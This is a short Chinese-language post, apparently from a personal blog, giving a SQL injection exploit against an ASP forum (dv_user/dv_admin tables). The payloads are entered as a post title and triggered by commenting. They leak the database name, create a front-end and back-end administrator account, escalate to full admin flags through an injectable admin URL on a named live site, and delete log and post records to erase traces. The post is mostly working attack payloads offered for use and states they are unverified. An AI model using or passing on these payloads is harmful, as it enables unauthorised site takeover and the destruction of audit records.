|
小航blog 利用: 发帖子,标题为下面的sql语句,然后点评论。0为中立, 1为支持, 2为反对 都行。 这时sql语句被执行 库名: a’,’’,1,’hang’,’2008-2-4’,’’,2);update/**/dv_user/**/set/**/useremail=db_name()/**/where/**/username=’hang’-- 加前台和后台管理员: a’,’’,1,’hang’,’2008-2-4’,’’,2);update dv_user set UserGroupID=1 where username=’hang’;insert into dv_admin(Username,Password,Flag,Adduser)values(’hang’,’965eb72c92a549dd’,’,4,’,’hang’)-- 进入后台,通过注入再获取全部权限: http://www.lnhonker.cn/Admin/help.asp?action=view&id=1;update/**/dv_admin/**/set/**/flag=’1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45’/**/where/**/username=’hang’-- 清理数据库记录(有三个表): http://www.lnhonker.cn/Admin/help.asp?action=view&id=1;delete/**/from/**/dv_log/**/where/**/l_username=’hang’;delete/**/from/**/dv_topic/**/ where/**/PostUsername=’hang’;delete/**/from/**/Dv_Appraise/**/where/**/UserName=’hang’-- (因为是通过后台注入来执行delete语句,所以最后Dv_log还是有一条关于后台help.asp文件访问记录)
未验证!读者请自行验证!
|